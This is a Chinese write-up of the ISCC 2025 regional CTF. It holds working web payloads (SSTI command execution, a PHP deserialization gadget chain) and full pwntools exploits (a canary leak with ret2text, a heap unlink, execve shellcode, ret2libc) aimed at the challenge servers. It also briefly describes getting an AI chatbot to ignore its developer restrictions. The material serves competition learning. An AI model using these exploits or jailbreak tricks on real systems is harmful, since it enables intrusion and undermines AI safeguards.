
ISCC2025区域赛 Writeup​

Web​

回归基本功

先随便输入点东西，跳转到process.php​

根据提示修改UA头​

得到源码

代码块​

<?php
show_source(__FILE__);
include('E8sP4g7UvT.php');
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$a=$_GET['huigui_jibengong.1'];
$b=$_GET['huigui_jibengong.2'];
$c=$_GET['huigui_jibengong.3'];

$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b);
if($jiben==1)
{
    if(intval($b) == 'jibengong')
    {
        if(strpos($b, "0")==0)
        {
            echo '基本功不够扎实啊！';
            echo '<br>';
            echo '还得再练！';  
        }
        else
        {
            $$c = $a;
            parse_str($b,$huiguiflag);
            if($huiguiflag[$jibengong]==md5($c))
            {
                echo $flag;
            }
            else{
                echo '基本功不够扎实啊！';
                echo '<br>';
                echo '还得再练！'; 
            }
        } 
    }
    else
    {
        echo '基本功不够扎实啊！';
        echo '<br>';
        echo '还得再练！'; 
    }
}
else
{
    echo '基本功不够扎实啊！';
    echo '<br>';
    echo '还得再练！'; 
}

huigui_jibengong.1随便给一个数字就行，huigui_jibengong.2利用php的类型解析特性使intval返回

0并被判断为=='jibengong'。​
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由于$$c=$a，所以令$c='jibengong'，即$jibengong=$a=1，因此要求$huiguiflag[$jibengong] == 

md5($c)，只要求$huiguiflag[1] == md5($c)，因此令$b中的键1=md5('jibengong')即可。​

Payload​

代码块​

http://112.126.73.173:9998/Q2rN6h3YkZB9fL5j2WmX.php?
huigui[jibengong.1=1&huigui[jibengong.2=xx%261=e559dcee72d03a13110efe9b6355b30d
&huigui[jibengong.3=jibengong

哪吒的试炼

根据剧情传参?food=lotus root进入下一个页面​

把disabled删掉再点击按钮得到源码​
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代码块​

<?php
if (isset($_POST['nezha'])) {
    $nezha = json_decode($_POST['nezha']);

    $seal_incantation = $nezha->incantation;  
    $md5 = $nezha->md5;  
    $secret_power = $nezha->power;
    $true_incantation = "I_am_the_spirit_of_fire";  

    $final_incantation = preg_replace(
        "/" . preg_quote($true_incantation, '/') . "/", '',
        $seal_incantation
    );

    if ($final_incantation === $true_incantation && md5($md5) == 
md5($secret_power) && $md5 !== $secret_power) {
        show_flag(); 
    } else {
        echo "<p>封印的力量依旧存在，你还需要再试试!</p>";
    }
} else {
    echo "<br><h3>夜色渐深，风中传来隐隐的低语……</h3>";
    echo "<h3>只有真正的勇者才能找到破局之法。</h3>";
}
?>
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双写绕过+md5弱碰撞​

每个字拆成两部分分别翻译成英文，把第二个部分的英文倒过来，两部分分别去掉一个字母后拼接起

来

代码块​

晴=sun+green=sueerg
早=sun+ten=suet
红=silk+work=silrow
林=wood+wood=woooow
枫=wood+wind=wooniw

拼接起来就是flag​

ISCC{sueergsuetsilrowwoooowwooniw}​

十八铜人阵

查看网页源代码能找到8行注释，然后与佛论禅解密，得到听声辩位、探本穷原和西南方、东南方、北

方、西方、东北方、东方六个位置
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然而网页只给了五个提交，然后找到还有一个是get请求​

get：/submit-answers?aGnsEweTr6=%E4%B8%9C%E6%96%B9​

post：

answer1=%E8%A5%BF%E5%8D%97%E6%96%B9&answer2=%E4%B8%9C%E5%8D%97%E6%9

6%B9&answer3=%E5%8C%97%E6%96%B9&answer4=%E8%A5%BF%E6%96%B9&answer5=%E

4%B8%9C%E5%8C%97%E6%96%B9​



拿到session后，访问听声辩位拼音逆序的路由/iewnaibgnehsgnit​

然后还没完，用同样的cookie继续访问探本穷原拼音逆序的路由/nauygnoiqnebnat​

发现是SSTI注入​

get：/nauygnoiqnebnat?

a1=__globals__&a2=__getitem__&a3=os&a4=popen&a5=cat%20kGf5tN1yO8M&a6=read&a7=ls​



post：yongzheng={{lipsum|attr(request.args.a1)|attr(request.args.a2)

(request.args.a3)|attr(request.args.a4)((request.args.a5))|attr(request.args.a6)()}}​

得到flag​

ShallowSeek​

先直接要flag​



联网搜索找这个文件

让他忽略开发者限制

这个flag是加密过的，加密方法就在第一个聊天记录里，不难发现密钥其实就是明文对应字符在密文中

的索引



密钥就是第三个聊天记录中标红部分，写个脚本解密

代码块​

ciphertext = "01_cu_5_3r35_th3b5t"
key = list("387531189")[::-1]
ci=list(ciphertext[:len(key)])[::-1]
plaintext=list(ciphertext[len(key):])
for i,k in zip(ci,key):
    plaintext.insert(int(k)-1,i)
print("".join(plaintext)+'!}')

第二个聊天记录页面的js文件下载下来​

代码块​

document.addEventListener('DOMContentLoaded', function () {
    const btnA = document.getElementById('btn-a');
    const btnB = document.getElementById('btn-b');
    let aLocked = false;
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    let bLocked = false;
    const _ = [0x6c, 0x6f, 0x63, 0x6b];

    // 初始定位​
    btnA.style.position = 'absolute';
    btnB.style.position = 'absolute';
    btnA.style.left = '60%';
    btnA.style.top = '100px';
    btnB.style.left = '70%';
    btnB.style.top = '100px';

    function resetPosition(btn, left, top) {
        btn.style.left = left;
        btn.style.top = top;
    }

    window[String.fromCharCode(0x6c,0x6f,0x63,0x6b) + 
String.fromCharCode(0x41)] = function (k, v) {
        if (btoa(k + String.fromCharCode(0x38) + v) === 'NDM4Mg==') {
            aLocked = true;
            btnA.classList.add('locked');
            resetPosition(btnA, '60%', '100px');
            console.log("A按钮已锁定！");
            fetch('api/mark_frag_ok.php');
        }
    };

    window.lockB = function () {
        bLocked = true;
        btnB.classList.add('locked');
        resetPosition(btnB, '70%', '100px');
        console.log("B按钮已锁定！");
    };

    btnA.addEventListener('mouseenter', function () {
        if (!aLocked) {
            const offsetX = Math.random() * 200 - 100;
            const offsetY = Math.random() * 100 - 50;
            btnA.style.left = `calc(60% + ${offsetX}px)`;
            btnA.style.top = `calc(100px + ${offsetY}px)`;
        }
    });

    btnB.addEventListener('mouseenter', function () {
        if (!bLocked) {
            const offsetX = Math.random() * 200 - 100;
            const offsetY = Math.random() * 100 - 50;
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            btnB.style.left = `calc(70% + ${offsetX}px)`;
            btnB.style.top = `calc(100px + ${offsetY}px)`;
        }
    });

    btnA.addEventListener('click', function () {
        if (!aLocked) {
            alert('为什么不试试选B？');
        } else {
            fetch('api/get_frag.php')
                .then(res => res.text())
                .then(data => alert(data))
                .catch(() => alert("读取失败"));
        }
    });

    btnB.addEventListener('click', function () {
        if (!bLocked) {
            fetch('api/hint.php')
                .then(r => r.text())
                .then(txt => alert(txt));
        } else {
            alert('给你讲个笑话：家人告诉程序员：去买两个桔子，如果有西瓜，就买一个，于
是他最后买回来一个桔子。');
        }
    });
});

先看hint.php​

这里指的是加上X-Requested-With: XMLHttpRequest​

然后带着这个头去访问mark_frag_ok.php​

51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

74
75
76



再带着头访问一下get_frag.php就可以了​

想犯大吴疆土吗

三个输入框，背景有四个，所以直接传url，/?box1=古锭刀&box2=杀&box3=酒&box4=铁索连环，得

到reward.php​



代码块​

<?php
if (!isset($_GET['xusheng'])) {
    ?>
    <html>
    <head><title>Reward</title></head>
    <body style="font-family:sans-serif;text-align:center;margin-top:15%;">
        <h2>想直接拿奖励？</h2>
        <h1>尔要试试我宝刀是否锋利吗？</h1>
    </body>
    </html>
    <?php
    exit;
}

error_reporting(0);
ini_set('display_errors', 0);
?>

<?php

// 犯flag.php疆土者，盛必击而破之！

class GuDingDao {
    public $desheng;
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    public function __construct() {
        $this->desheng = array();
    }

    public function __get($yishi) {
        $dingjv = $this->desheng;
        $dingjv();
        return "下次沙场相见, 徐某定不留情";
    }
}

class TieSuoLianHuan {
    protected $yicheng;

    public function append($pojun) {
        include($pojun);
    }

    public function __invoke() {
        $this->append($this->yicheng);
    }
}

class Jie_Xusheng {
    public $sha;
    public $jiu;

    public function __construct($secret = 'reward.php') {
        $this->sha = $secret;
    }

    public function __toString() {
        return $this->jiu->sha;
    }

    public function __wakeup() {
        if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha)) 
{
            echo "你休想偷看吴国机密";
            $this->sha = "reward.php";
        }
    }
}

echo '你什么都没看到？那说明……有东西你没看到<br>';

if (isset($_GET['xusheng'])) {
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    @unserialize($_GET['xusheng']);
} else {
    $a = new Jie_Xusheng;
    highlight_file(__FILE__);
}

// 铸下这铁链，江东天险牢不可破！

反序列化，构造gadget链​

Payload如下，但是一直打不通​

脑子灵光一现，想出来把o替换成0，payload就成了​

代码块​

O%3A11%3A%22Jie%5FXusheng%22%3A2%3A%7Bs%3A3%3A%22sha%22%3BO%3A11%3A%22Jie%5FXus
heng%22%3A2%3A%7Bs%3A3%3A%22sha%22%3Bs%3A10%3A%22reward%2Ephp%22%3Bs%3A3%3A%22j
iu%22%3BO%3A9%3A%22GuDingDa0%22%3A1%3A%7Bs%3A7%3A%22desheng%22%3BO%3A14%3A%22Ti
eSuoLianHuan%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00yicheng%22%3Bs%3A8%3A%22flag%2Eph
p%22%3B%7D%7D%7Ds%3A3%3A%22jiu%22%3BN%3B%7D

然后得到flag​

Pwn​

genius

主要看function3​
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64位canary泄露+ret2text​

后门函数

获取一个ret地址​



Exp​

代码块​

from pwn import *
io=remote('101.200.155.151',12000)
elf=ELF('./attachment-22')
io.recv()
io.sendline(b'no')
io.recv()
io.sendline(b'thanks')
payload1=b'A'*(0x20-8)
io.sendlineafter(b'init',payload1)
io.recvuntil(b'A'*(0x20-8))
Canary = u64(io.recv(8))-0xa
log.info("Canary:"+hex(Canary))
payload2=b'A'*(0x20-8)+p64(Canary)+p64(0)+p64(0x4013f3+1)+p64(0x4011A6)
io.sendlineafter(b'you',payload2)
io.interactive()

program​
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UAF堆溢出​

bss地址​

Exp​

代码块​

from pwn import *
io=remote("101.200.155.151",12300)
elf=ELF('attachment-23.so')
elff=ELF('attachment-23')
def add(i,s):
    io.sendlineafter(b"choice:\n",b"1")
    io.sendlineafter(b"index:\n",str(i).encode())
    io.sendlineafter(b"size:\n",str(s).encode())
def delete(i):
    io.sendlineafter(b"choice:\n",b"2")
    io.sendlineafter(b"index:\n",str(i).encode())
def edit(i,c):
    io.sendlineafter(b"choice:\n",b"3")
    io.sendlineafter(b'index:',str(i).encode())
    io.sendlineafter(b'length:',str(len(c)).encode())
    io.sendafter(b'content:\n',c)
def show(i):
    io.sendlineafter(b"choice:\n",b"4")
    io.sendlineafter(b"index:",str(i).encode())
bss=0x4040C0
add(0,0x20)
add(1,0x410)
add(2,0x10)
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edit(2,b'/bin/sh\x00')
payload=p64(0)+p64(0x20)+p64(bss-0x18)+p64(bss-0x10)+p64(0x20)+p64(0x420)
edit(0,payload)
delete(1)
payload=p64(0)*3+p64(elff.got['free'])*2
edit(0,payload)
show(0)
io.recvline()
Free=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(Free))
system=Free-elf.sym.free+elf.sym.system
edit(1,p64(system))
delete(2)
io.interactive()

mutsumi​

vm+jit​
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代码块from pwn import *
io=remote("101.200.155.151",12800)
context.arch='amd64'
def add(indir):
    io.sendline(b"saki,ido")
    io.sendline(str(indir).encode())
def run():
    io.sendline(b"saki,stop")
addresses = [
    0x0ac08348, 0xff3148, 0x11c78348, 0x08e7c148,
    0x40c78348, 0x08e7c148, 0x00fe8948, 0x7B207B2,
    0xffB2050f, 0xc03148, 0xff3148, 0xffB2050f
]
for addr in addresses:
    add(1)
    add(addr)
run()
payload =b'\x90'*0x70+asm("mov rdi,0x1140f0;mov rax,0x3b;xor rsi,rsi;xor 
rdx,rdx;syscall")
payload =payload.ljust(0xf0,b'\x90')+b'/bin/sh'
io.send(payload)
io.interactive()

Fufu​

fmt泄露canary和pie，然后ret2libc​

代码块​

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
io = remote("101.200.155.151", 12600)
def leak_canary():
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    io.sendlineafter(b"Furina: Your choice? >> ", b"1")
    io.sendlineafter(b"Furina: Time is limited! >> ", b"6")
    io.recvuntil(b"Furina: Present your evidence! >> ")
    io.send(b"%17$p")
    canary = int(io.recv(18), 16)
    io.sendafter(b"hcy want to eat chicken! >> ", b'a')
    return canary
def leak_pie():
    io.sendlineafter(b"Furina: Your choice? >> ", b"1")
    io.sendlineafter(b"Furina: Time is limited! >> ", b"6")
    io.recvuntil(b"Furina: Present your evidence! >> ")
    io.send(b"%19$p")
    pie = int(io.recv(14), 16) - 0x13d6
    io.sendafter(b"hcy want to eat chicken! >> ", b'a')
    return pie
def leak_libc_base(pie):
    rdi = pie + 0x000000000000132f  # ROP gadget for `pop rdi; ret`

    io.sendlineafter(b"Furina: Your choice? >> ", b"2")
    io.recvuntil(b"Furina: The trial is adjourned\n")

    payload = flat(
        b'a' * 0x48,
        p64(canary),
        b'a' * 8,
        p64(rdi),
        p64(pie + 0x3FB0), 
        p64(pie + 0x1030), 
        p64(pie + 0x1338)
    )
    io.send(payload)
    puts_leak = u64(io.recv(6).ljust(8, b'\x00'))
    libc_base = puts_leak - 0x606F0
    print(f"[+] Libc base: {hex(libc_base)}")
    return libc_base
canary = leak_canary()
print(f"[+] Canary: {hex(canary)}")
pie = leak_pie()
print(f"[+] PIE base: {hex(pie)}")
libc_base = leak_libc_base(pie)
system = libc_base + 0x050D70
bin_sh = libc_base + 0x1D8678
rdi = pie + 0x000000000000132F
io.sendlineafter(b"Furina: Your choice? >> ", b"2")
io.recvuntil(b"Furina: The trial is adjourned\n")
payload = flat(
    b'a' * 0x48,
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    p64(canary),
    b'a' * 8,
    p64(rdi + 1), 
    p64(rdi),
    p64(bin_sh),
    p64(system)
)
io.send(payload)
io.interactive()

Reverse​

faze​

动调直接出

greeting​

前面一大段没用，真正逻辑在下面的for循环内​
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我自己写了一段和这个功能一样的c代码（​

代码块​

#include <stdio.h>
#include <stdint.h>
int main(){
    uint64_t input_2=0;
    char v27[]="ISCC{xxxxxxxxxx}";
    for (int i = 0; i < 16; i++)
    {
        input_2=(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128)(unsigned 
__int64)i) >> 64;
        input_2=(unsigned __int8)input_2 >> 2;
        int k = (i - 5 * input_2) % 8;
        v27[i]^=(90+i);
        char v29 = ((v27[i] << k) | (v27[i] >> (8 - k))) % 256;
        printf("0x%x,",(uint8_t)v29);
    }
}

先把我们的输入异或于（90+i），然后进行ROL（循环左移）操作，操作数就是i-5*input_2，input_2

最开始是8字节整数，但在参与计算的时候变成了单字节​

那么逆向就简单，把那里的循环左移改为循环右移，然后把这个操作提前到异或前面就行

代码块​

#include <stdio.h>
#include <stdint.h>
int main(){
    uint64_t input_2=0;
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    uint8_t v27[]=
{0x13,0x10,0x7C,0xF0,0x52,0x76,0x40,0xC4,0xE1,0xD5,0x5F,0xB6,0xBC,0x20,0xF1,0x1
4};
    for (int i = 0; i < 16; i++)
    {
        input_2=(0xCCCCCCCCCCCCCCCDLL * (unsigned __int128)(unsigned 
__int64)i) >> 64;
        input_2=(unsigned __int8)input_2 >> 2;
        int k = (i - 5 * input_2) % 8;
        char v29 = ((v27[i] >> k) | (v27[i] << (8 - k))) % 256;
        v29^=(90+i);
        printf("%c",(uint8_t)v29);
    }
}

有趣的小游戏

加密逻辑被藏在了地图创建函数，即sub_41D970里面​

这里给出密钥，密文是main函数的那一堆​

在sub_48ECA0函数的sub_48E8C0函数里面实现加密，是嵌套但没魔改的的xxtea，套个循环然后找

前缀就行

代码块​

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
 
void btea(uint32_t *v, int n, uint32_t const key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
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        rounds = 6 + 52/n;
        sum = 0;
        z = v[n-1];
        do
        {
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p=0; p<n-1; p++)
            {
                y = v[p+1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n-1] += MX;
        }
        while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
        n = -n;
        rounds = 6 + 52/n;
        sum = rounds*DELTA;
        y = v[0];
        do
        {
            e = (sum >> 2) & 3;
            for (p=n-1; p>0; p--)
            {
                z = v[p-1];
                y = v[p] -= MX;
            }
            z = v[n-1];
            y = v[0] -= MX;
            sum -= DELTA;
        }
        while (--rounds);
    }
}
 
 
int main()
{
    uint32_t v[30]= 
{0x4DA18616,0x55833C81,0x59ED4037,0x54BB2B6,0xA9A2DF78,0x1E90CAF2,0xA8AE68EE,0x
B0CAA5AA,0x8B98EC47,0x51EFEC0E,0x3774C4C4,0x1D7DFCE5,0xD8783C88,0xF0DF09E7,0x42
7CCB84,0x7C4CBBC,0xEC8BCBEB,0x734FABD2,0xE52DF608,0x6FE6D0D9,0x9EFA592B,0x448F4
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3B2,0xECC07CA8,0x3A53AE70,0xBA03DD2,0x36C503E3,0xF4ECDB8B,0xA597D2ED,0x10B1FD87
,0x79CA4514};
    uint32_t const k[4]= {0x12345678, 0x9abcdef0, 0xfedcba98, 0x76543210};
    int n= 30;
    for (int i = 0; i < 999999; i++)
    {
        btea(v, -n, k);
        if ((*(char*)v)=='I'&&(*(char*)(v+1))=='S' && (*(char*)(v+2))=='C' && 
(*(char*)(v+3))=='C')
        {
            for (int j = 0; j < 30; j++)
            {
                printf("%c",v[j]);
            }
            break;
        }
        
    }
    
    return 0;
}

SecretGrid​

程序没法运行，缺了个dll文件，从网上下了个libmcfgthread-1.dll，改成2程序能运行了​

似乎是将我们输入的net经过check1、2，如果正确就可以打印出flag了​

python​

from z3 import *​

   sper = [​

    0x40201, 0x40401, 0x40801, 0x41002,   0x42002, 0x44002, 0x48004, 0x50004, 

0x60004, 0x80201, 0x80401, 0x80801,   0x81002, 0x82002, 0x84002, 0x88004, 

0x90004, 0xA0004, 0x100201, 0x100401,   0x100801, 0x101002, 0x102002, 

0x104002, 0x108004, 0x110004, 0x120004, 0x200208,   0x200408, 0x200808, 

0x201010, 0x202010, 0x204010, 0x208020, 0x210020,   0x220020, 0x400208, 

0x400408, 0x400808, 0x401010, 0x402010, 0x404010,   0x408020, 0x410020, 

0x420020, 0x800208, 0x800408, 0x800808, 0x801010,   0x802010, 0x804010, 

0x808020, 0x810020, 0x820020, 0x1000240, 0x1000440,   0x1000840, 0x1001080, 

0x1002080, 0x1004080, 0x1008100, 0x1010100, 0x1020100,   0x2000240, 

0x2000440, 0x2000840, 0x2001080, 0x2002080, 0x2004080, 0x2008100,   
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0x2010100, 0x2020100, 0x4000240, 0x4000440, 0x4000840, 0x4001080, 0x4002080, 

  0x4004080, 0x4008100, 0x4010100, 0x4020100, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0​

   ]​

   calist = [​

    "past is pleasure",   "please user it", "rap less piter", "its pure   latter",​

    "is leet", "rit   platstep", "all use peatrle", "pali atar usar",​

    "sets a pure sereat",   "tales sell appets"

   ]​

   allowed_chars = ['p', 'a', 's', 't', 'i', 'l', 'e', 'u', 'r']​

   allowed_ascii = [ord(c) for c in allowed_chars]​

   def solve_net():​

    solver = Solver()​

    net = [BitVec(f'net_{i}', 8) for i   in range(81)]​

    # ========== Checklist1约束 ==========​

    target_value = 0x7FFFFFF​

    sum_conditions = []​

    for c in allowed_ascii:​

        mask = BitVecVal(0, 32)​

        for i in range(81):​

            mask |= If(net[i] == c,   BitVecVal(sper[i], 32), BitVecVal(0, 32))​

        cond = And(​

            (mask &   BitVecVal(target_value, 32)) == BitVecVal(target_value, 32),​

            Or([net[i] == c for i in   range(81)])​

        )​

        sum_conditions.append(If(cond,   1, 0))​

    solver.add(Sum(sum_conditions) ==   9)​

    # ========== Checklist2约束 ==========​

    directions = [(0, 1), (1, 0), (1,   1), (1, -1), (0, -1), (-1, 0), (-1, -1), (-1, 1)]​

    unique_words = {word for phrase in   calist for word in phrase.split()}​

    for word in unique_words:

        word_len = len(word)​

        if word_len == 0:​

            continue​

        word_conds = []​

        for dx, dy in directions:​

            max_x = 9 - dx * (word_len   - 1) if dx > 0 else 9​

            min_x = -dx * (word_len -   1) if dx < 0 else 0​

            max_y = 9 - dy * (word_len   - 1) if dy > 0 else 9​



            min_y = -dy * (word_len -   1) if dy < 0 else 0​

            for x in range(min_x,   max_x):​

                for y in range(min_y,   max_y):​

                    indices = [(x + dx   * k) * 9 + (y + dy * k) for k in range(word_len)]​

                    if all(0 <= idx   < 81 for idx in indices):​

                        cond =   And([net[idx] == ord(word[k]) for k, idx in enumerate(indices)])​

                          word_conds.append(cond)​

        if not word_conds:​

            print(f"无解：单词 '{word}' 无法放置")​

            solver.add(False)​

            return​

        solver.add(Or(word_conds))​

    # ========== 字符约束 ==========​

    for c_var in net:​

        solver.add(Or([c_var == a for a   in allowed_ascii]))​

    # ========== 求解输出 ==========​

    if solver.check() == sat:​

        model = solver.model()​

        solution =   [model.evaluate(c).as_long() for c in net]​

        print("解决方案：")​

        for i in range(9):​

            row =   ''.join([chr(solution[i * 9 + j]) for j in range(9)])​

            print(row)​

    else:​

        print("无解")​

   if __name__ == "__main__":​

    solve_net()​

 # ISCC{s_ale_ru_upatu_prrlaullre_}​

flag不对。​

不过decode这里有些数据似乎没用？​



问了下AI，可能是S-Record码，试试转成二进制文件​

python​

import binascii​

   def srecord_to_bin(srec_lines, output_file):​

    binary_data = bytearray()​

    current_address = 0​

    for line in srec_lines:​

        line = line.strip()​

        if not   line.startswith('S1'):  # 仅处理S1类型​

            continue​

        # 解析长度、地址和数据​

        length = int(line[2:4],   16)  # 长度字段（字节数）​

        address = int(line[4:8],   16)  # 地址（2字节）​

        data_hex = line[8:-2]  # 数据部分（去掉校验和）​

        data =   binascii.unhexlify(data_hex)  # 转换为二进制​

        # 地址连续性检查与填充​

        if address >   current_address:​

            padding = address -   current_address​

            binary_data.extend(b'\x00' * padding)​

        binary_data.extend(data)​

        current_address = address +   len(data)​

    # 写入文件​



    with open(output_file, 'wb') as f:​

        f.write(binary_data)​

   srec_data = [​

      

"S123050C9421FFD093E1002C7C3F0B78907F000C909F000839200000913F001E48

00012C7E",​

      

"S123052C813F001E552907FE2F890000409E0058813F001E815F000C7D2A4A1489

290000FF",​

      

"S123054C7D2A07743D20100281090018813F001E7D284A14892900003929000255

29063EC7",​

      

"S123056C7D2907747D494A787D280774813F001E815F00087D2A4A14550A063E99

49000074",​

      

"S123058C480000BC815F001E3D205555612955567D0A48967D49FE707D2940501

D29000317",​

      

"S12305AC7D2950502F890000409E0058813F001E815F000C7D2A4A14892900007D

2A077476",​

      

"S12305CC3D20100281090018813F001E7D284A1489290000392900055529063E7D

2907743F",​

      

"S12305EC7D494A787D280774813F001E815F00087D2A4A14550A063E9949000048

0000408D",​

      

"S123060C813F001E815F000C7D2A4A14890900003D20100281490018813F001E7D

2A4A145A",​

      

"S123062C89490000813F001E80FF00087D274A147D0A5278554A063E9949000081

3F001EA1",​

      

"S123064C39290001913F001E813F001E2F89001E409DFED0813F00083929001F39

40000040",​

      "S11B066C9949000060000000397F003083EBFFFC7D615B784E80002060"​

   ]​

   srecord_to_bin(srec_data, 'E:\\edge\\output.bin')​

然后拉去反编译，用ppc架构​



反编译出来发现对上面生成的flag又进行了一些操作，和这一堆变量有关​

逆向一下新的代码

python​

d1 = [73, 83, 67, 67, 123, 115, 95, 97,   108, 101, 95, 114, 117, 95, 117, 112, 97, 116, 

117, 95, 112, 114, 114, 108,   97, 117, 108, 108, 114, 101]​

   d2 = 

[63,100,16,5,17,5,7,50,75,93,24,0,40,118,54,20,14,48,20,102,40,2,31,40,13,15,69,40,

38,55,28]​

   d3 = 0​

   for i in range(30):​

    if((i&1) != 0):​

        if((i%3)!=0):​

            d3 = d2[i] ^ d1[i]​

        else:​

            d3 = d2[i] ^ (d1[i]+5)​

    else:​

        d3 = d2[i] ^ (d1[i]+2)​

    print(chr(d3),end='')​

   # ISCC{t7UMlvfS%7yr_)AamDc9ZukDnz+YRR}​

Misc​

返校之路

伪加密，加密位都改0​



根据提示掩码攻击part2​



picture2中有lsb​



3.jpg中提示找朝阳站到魏公村站的地铁线路​



3号线->10号线->4号线​

ISCC{aDA5MJvM3104}​

睡美人



用foremost分离得到压缩包，包含wav文件​

由题目hint得到红红红红红红绿绿绿蓝说明是将图片所有RGB的色值求和，按比例合并，获取密码​

代码块​

from PIL import Image
from tqdm import tqdm

def compute_weighted_sum(image_path):
    with Image.open(image_path) as img:
        img = img.convert("RGB")
        pixels = img.load()
        width, height = img.size

        sum_r = sum_g = sum_b = 0

        for y in tqdm(range(height), desc="Processing"):
            for x in range(width):
                r, g, b = pixels[x, y]
                sum_r += r
                sum_g += g
                sum_b += b

        weighted_sum = sum_r * 0.6 + sum_g * 0.3 + sum_b * 0.1
        return weighted_sum

print(compute_weighted_sum("Sleeping_Beauty_22.png"))
# 1375729349.6

曼彻斯特编码，脚本处理

代码块​

import numpy as np
from scipy.io import wavfile
from tqdm import tqdm

def extract_bitstream_from_audio(
    filepath: str,
    offset_sec: float = 6.0,
    block_duration_sec: float = 0.1,
    threshold: float = 0.0
) -> str:
    """
    从音频文件中解码自定义格式的二进制数据。
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    参数:
        filepath: 音频文件路径 (.wav)
        offset_sec: 从多少秒开始读取音频
        block_duration_sec: 每个数据块的持续时间（秒）
        threshold: 电平判定阈值

    返回:
        解码得到的 01 字符串
    """
    try:
        rate, signal = wavfile.read(filepath)
    except Exception as err:
        print(f"[错误] 无法读取文件 '{filepath}': {err}")
        return ""

    # 选择单声道​
    if signal.ndim > 1:
        signal = signal[:, 0]

    start_idx = int(offset_sec * rate)
    block_size = int(block_duration_sec * rate)

    if start_idx >= len(signal):
        print("[错误] 起始时间超过音频长度。")
        return ""

    output_bits = []
    position = start_idx
    total_blocks = (len(signal) - start_idx) // block_size

    print(f"采样率: {rate} Hz")
    print(f"每块样本数: {block_size}")
    print(f"开始位置: {start_idx} (第 {offset_sec:.2f} 秒)")
    print(f"预期处理块数: {total_blocks}")

    for _ in tqdm(range(total_blocks), desc="解码中"):
        chunk = signal[position:position + block_size]
        if len(chunk) < block_size:
            break

        normalized = chunk > threshold
        has_falling_edge = np.any(np.diff(normalized.astype(int)) == -1)
        is_all_high = np.all(normalized)

        if is_all_high:
            output_bits.append("0")
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        elif has_falling_edge:
            output_bits.append("1")
        else:
            output_bits.append("?")  # 未定义模式​

        position += block_size

    return "".join(output_bits)

if __name__ == "__main__":
    result = extract_bitstream_from_audio("normal_speech_40.wav")
    if result:
        print("\n解码结果:")
        print(result)

将输出二进制转换为ASCII得到flag​

ISCC{Mystify}​

取证分析

在桌面上发现一个zip​

docx里的内容其实就是readme.txt的内容，因此可以明文攻击​
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得到一组杨辉三角的坐标，对于这些坐标-1以后计算其对应的数值再模26，转换成对应的字母，，然

后再把每个字母也往前位移1，也就是​

代码块​

(2,10) (4,8) (2,4) (3,4) (11,13) (2,11) (1,1) (10,26) (5,6) (5,9)
(1,9) (3,7) (1,3) (2,3) (10,12) (1,10) (0,0) (9,25) (4,5) (4,8)
9,9,3,3,14,10,1,25,,5,18
JJDDOKBZFS
IICCNJAYER

之前的word文档后缀名改为zip后解压，xml中有个注释​
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维吉尼亚解密，包上ISCC就是flag​

签个到吧

压缩包把文件头80改50就能解压，得到一张处理过后的图片，发现肯定不是正常的二维码，猜测要和

外面的xor所以用ps处理不适合后续xor​

stegslove打开发现说明了是arnold变换，参数是112，于是脚本​

代码块​

import cv2
import numpy as np

def arnold_transform(image, shuffle_times, a, b, inverse=False, 
save_path=None):
    """
    通用 Arnold 变换函数，可用于编码或解码。

    参数:
        image (ndarray): 输入图像（必须是正方形）。
        shuffle_times (int): 执行变换的次数。
        a (int): Arnold 参数 a。
        b (int): Arnold 参数 b。
        inverse (bool): 是否为解码（逆变换）。
        save_path (str): 可选，保存图像的路径。
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    返回:
        变换后的图像 ndarray。
    """
    h, w = image.shape[:2]
    if h != w:
        raise ValueError("图像必须为正方形，当前尺寸为 {}x{}".format(h, w))
    N = h

    transformed = np.copy(image)
    for _ in range(shuffle_times):
        result = np.zeros_like(transformed)
        for x in range(N):
            for y in range(N):
                if not inverse:
                    new_x = (x + b * y) % N
                    new_y = (a * x + (a * b + 1) * y) % N
                else:
                    new_x = ((a * b + 1) * x - b * y) % N
                    new_y = (-a * x + y) % N
                result[new_x, new_y] = transformed[x, y]
        transformed = np.copy(result)

    if save_path:
        cv2.imwrite(save_path, transformed, [int(cv2.IMWRITE_PNG_COMPRESSION), 
0])

    return transformed

def arnold_decode(image, shuffle_times, a, b, save_path='flag.png'):
    return arnold_transform(image, shuffle_times, a, b, inverse=True, 
save_path=save_path)

if __name__ == "__main__":
    # 读取图像​
    img = cv2.imread('1.png')

    # 示例：解码并保存​
    decoded = arnold_decode(img, shuffle_times=1, a=1, b=-2)

然后对处理后的图像取反旋转，再和另一张xor，得到​
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签到成功Edok7YCWGAgM​

Mobile​

邦布出击

有一说一这题出的还挺好的但米含量有点高了（（（

jadx反编译，这题有两个mainactivity，但一开始我没注意mainactivity2，一直在看这个地方​



想着直接frida一把梭，把encrypt给hook出来​

但好像不行，因为这里的m54a无法直接获取，这里是一段blowfish解密，但密钥不在代码里面​

查看C0482b类，发现​



可以看到m56c，也就是blowfish解密的密钥是空的，所以直接hook不可行，也因为这个问题，所以

当在程序中输入正确的flag程序也会直接退出（抛出异常）​

那么首先应该找到这个密钥，密钥在mainactivity2里面​

看这个C0483dB，里面套用了​



下面一堆看起来就是base64，拿去解码​

前三个解码出来什么也看不明白，但把后面两个解码一下，分别是：“Three 

decryptions”和“{flag0.o?keyo.0}ccsl”​

“Three decryptions”其实是在暗示三次base64，把前面三个base64编码的字符串三次base64解

码，可以得到“MARCH 7TH”，而“{flag0.o?keyo.0}ccsl”其实是在提示这个是密钥，回看附件，还

有一个db文件，这是一个被加密的数据库文件，可以用DB Browser for SQLCipher打开，输入得到的

密钥

上面那个是假的flag​



最下面的是提示：

